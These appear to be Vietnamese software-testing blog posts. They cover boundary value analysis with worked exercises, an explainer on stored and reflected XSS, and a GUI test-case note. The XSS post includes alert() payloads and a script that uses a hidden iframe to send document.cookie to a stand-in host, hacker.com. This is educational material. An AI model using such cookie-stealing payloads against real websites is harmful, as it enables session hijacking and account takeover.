Lý do là lỗi thường xảy ra ở gần các giá trị biên này
Chương trình viết bằng ngôn ngữ không có kiểm tra kiểu mạnh càng cần kiểm thử giá trị biên
Javascript, php, Visual Basic

3. Chọn giá trị
Phân tích giá trị biên sẽ chọn các giá trị:
Giá trị nhỏ nhất
Ngay trên giá trị nhỏ nhất
Một giá trị bình thường
Ngay dưới giá trị lớn nhất
Giá trị lớn nhất

Ví dụ:
a <= y1 <=b    thì sẽ chọn a, a+1, a+b/2, b-1, b.

4. Giả thiết khiếm khuyết đơn
Phân tích giá trị biên dựa trên nguyên lý giả định khuyếm khuyết đơn:
“Hỏng hóc xảy ra hiếm khi do hai (hoặc hơn) khiếm khuyết cùng xảy ra”
Do đó các ca kiểm thử theo phương pháp này được tạo bằng việc lấy các giá trị bình thường của các chiều/biên rồi lần thay mỗi chiều bằng các giá trị cực trị như trên.

5. Hạn chế của BVA
BVA hiệu quả với các chương trình có các đầu vào độc lập nhau và biểu diễn đại lượng vật lý bị chặn
BVA lấy các ca kiểm thử mà không tính đến chức năng của hàm, hay ý nghĩa của các biến

5.1 Kiểm thử biên mạnh
Kiểm thử biên mạnh (robustness testing) là một mở rộng đơn giản của BVA
Ngoài năm giá trị biên bổ sung thêm hai giá trị ngoài biên:
Giá trị ngay trên giá trị cực đại (max+) và
Giá trị ngay dưới giá trị cực tiểu (min-).
Mục đích chính là xem chương trình có kiểm tra giá trị hợp lệ của đầu vào không.

5.2 Kiểm thử trường hợp xấu nhất
Điều gì xảy ra khi nhiều hơn một biến nhận các giá trị (gần) cực trị?
Khi các biến có tương tác với nhau thì cần kiểm tra các bộ giá trị kết hợp các cực trị này
Có thể kết hợp với kiểm thử mạnh để có bộ kiểm thử trường hợp xấu nhất mạnh

5.3 Kiểm thử giá trị đặc biệt
Kiểm thử giá trị đặc biệt là phương pháp được thực hiện nhiều nhất trên thực tế, nó cũng trực quan nhất, và không có dạng cố định nhất
Sử dụng kỹ nghệ và kiến thức miền ứng dụng để phán đoán và đưa ra ca kiểm thử
Mặc dù mang tính chủ quan cao, đây vẫn là phương pháp hiệu quả để phát hiện khiếm khuyết của chương trình

6. Bài tập ví dụ:
BÀI TOÁN CHIA HOA HỒNG
Một người bán hàng chuyên bán khóa, báng và nòng súng trường cho một cửa hàng.
Giá của Khóa = 45, báng = 30, và nòng = 25 đô
Mỗi người bán hàng phải bán ít nhất một bộ đầy đủ mỗi tháng (100 đô)
Người bán giỏi nhất bán được 70 khóa, 80 báng, 90 nòng một tháng

>>>
Hàng tháng mỗi người bán sẽ gửi báo cáo về cho cửa hàng với tổng số hàng bán được cho mỗi thị trấn anh ta đến
Số thành phố đến được mỗi tháng là từ 1 đến 10.
Người bán nhận được:
10% nếu số tiền bán được <= 1000 đô,
15% trên 800 đô tiếp theo, và
20% của số tiền vượt quá 1800.
do-thi-phan-tich-gia-tri-bien

ky-thuat-kiem-thu-gia-tri-bien

boundary

6.1 Bài toán 2 Tìm ngày kế tiếp với các ràng buộc dưới đây
1<= day <= 31
1 <= Month <= 12
1812 <= Year <= 2012

phan-tich-gia-tri-bien

# Chúc các bạn học tập vui :)
Những ý kiến về trang này và chia sẻ của bạn hãy phản hồi cho mình qua mail: thuyph138@gmail.com
Rất vui vì sự chia sẻ của các bạn!
với tâm điểm "Chia sẻ là đam mê"

Bạn đọc quan tâm củng cố lại kiến thức về Blackbox Testing (BBT) http://learningtesting-13.blogspot.com/2014/08/black-box-testing.html

Thứ Sáu, 7 tháng 11, 2014

Tìm hiểu kỹ thuật tấn công và phòng chống lỗi XSS (Cross-Site Scripting) trên website

Các kỹ thuật tấn công  website mà hacker thường sử dụng để lấy cắp, phá hỏng dữ liệu trên hệ thống
ngoài sql injection còn có xss (cross - site scripting) và csrf
bạn đọc tìm hiểu kỹ thuật tấn công CSRF tại đây
bài viết này mình trình bày về kỹ thuật tấn công dạng XSS (Cross-Site Scripting) - kỹ thuật này không tấn công vào CSDL hệ thống như  SQL injection mà chúng tấn công trực tiếp từ phía người dùng bằng cách lừa thằng quản trị website =D xâm nhập hệ thống bằng các đoạn mã đơn giản để lấy cắp cookies và session từ đó chúng có thể thao túng người dùng cướp quyền truy cập tài khoản mà không cần tới  mật khẩu.

Cross-site Scripting được phân thành 2 loại lỗi dưới đây
thứ nhất: Lỗi Stored XSS
dạng lỗi XSS mà đoạn mã chèn thêm vào được lưu trữ trên server như trong CSDL dưới dạng các comment bình luận bài viết, các message trong diễn đàn (forum) hoặc các vistor log.
Để hình dung rõ được bạn coi ví dụ sau:

Thay vì nhập những dòng comment trên, ta nhập đoạn mã <script>alert("XSS")</script>
đoạn mã trên được chèn vào mục comment và sẽ thực thi lệnh khi ta chọn submit (send) nội dung. thông điệp đó được chèn vào CSDL hệ thống. Ngoài trường comment, ta có thể thông qua các điểm đầu vào input, form, text area,...mà chèn vào các đoạn mã nguy hiểm đưa vào hệ thống (nhất là form mua hàng, thanh toán,...)
Bạn đọc coi toàn bộ kịch bản tấn công áp dụng kỹ thuật XSS dưới đây để bao quát rõ hơn

Thứ hai là: Reflected XSS
Khác với Stored-XSS, Reflected XSS chèn đoạn mã khai thác thông tin không được lưu trữ trên server
Hình thức tấn công là lợi dụng vào các form search, khi nhập từ khoá vào ô tìm kiếm mà không hiển thị kết quả tìm kiếm, ta nhập 1 đoạn mã tại trường này có dạng "Tên đường dẫn url website cần xâm nhập/xss/reflected/index.php?q=<script>alert("XSS")</script>". Chỗ đường dẫn này tuỳ vào mã nguồn hệ thống (website) để điền cho phù hợp
Đường dẫn trên chỉ chạy trên url người dùng chứ không lưu vào hệ CSDL, và người dùng bị tấn công khi chạy trên url đó mà thôi.
Kịch bản điển hình nhất khi khai thác XSS là ta = chèn đoạn javascript như sau vào website:
1<script type="text/javascript">
2document.write("<iframe width=0 height=0
3src=http://hacker.com/getcookie.php?cookie=",
4document.cookie,">");
5</script>
Một iframe với kích thước 0×0 được chèn vào trang web và sẽ tự động load trang lấy cookie của hacker tại địa chỉ http://hacker.com/getcookie.php. Khi có được cookie,ta  có thể dễ dàng đăng nhập mà không cần biết mật khẩu của người dùng.

Tổng quát lại:
Reflected XSS và Stored XSS có 2 sự khác biệt lớn trong quá trình tấn công.
  • Thứ nhất, để khai thác Reflected XSS, hacker phải lừa được nạn nhân truy cập vào URL của mình. Còn Stored XSS không cần phải thực hiện việc này, sau khi chèn được mã nguy hiểm vào CSDL của ứng dụng, hacker chỉ việc ngồi chờ nạn nhân tự động truy cập vào. Với nạn nhân, việc này là hoàn toàn bình thường vì họ không hề hay biết dữ liệu mình truy cập đã bị nhiễm độc.
  • Thứ 2, mục tiêu của hacker sẽ dễ dàng đạt được hơn nếu tại thời điểm tấn công nạn nhân vẫn trong phiên làm việc(session) của ứng dụng web. Với Reflected XSS, hacker có thể thuyết phục hay lừa nạn nhân đăng nhập rồi truy cập đến URL mà hắn ta cung cấp để thực thi mã độc. Nhưng Stored XSS thì khác, vì mã độc đã được lưu trong CSDL Web nên bất cứ khi nào người dùng truy cập các chức năng liên quan thì mã độc sẽ được thực thi, và nhiều khả năng là những chức năng này yêu cầu phải xác thực(đăng nhập) trước nên hiển nhiên trong thời gian này người dùng vẫn đang trong phiên làm việc.

Từ những điều này có thể thấy Stored XSS nguy hiểm hơn Reflected XSS rất nhiều, đối tượng bị ảnh hưởng có thế là tất cả nhưng người sử dụng ứng dụng web đó. Và nếu nạn nhân có vai trò quản trị thì còn có nguy cơ bị chiếm quyền điều khiển web.


Thứ Bảy, 4 tháng 10, 2014

Bài tập mẫu viết testcase cho ứng dụng Website về giao diện GUI (Graphic User Interface)

bai-tap-mau-viet-testcase

Với quan điểm chia sẻ giúp nhau trong nghề nghiệp kiểm thử phần mềm cho những ai mới bắt đầu hoặc đã làm.
Bài viết dưới đây là chỉ ra cho bạn toàn bộ cách viết testcase cho GUI nhất là đối với ứng dụng Web. không thiếu sót 1 trường hợp nào cả
1. Kiểm tra định dạng textbox, dữ liệu
2. max length của textbox
3. kiểm tra short cut key đăng nhập
4. blablablabla....

Các bạn theo dõi ở file excel mình đính kèm dưới đây sẽ bao quát hơn nhé

http://1drv.ms/1IPQR0r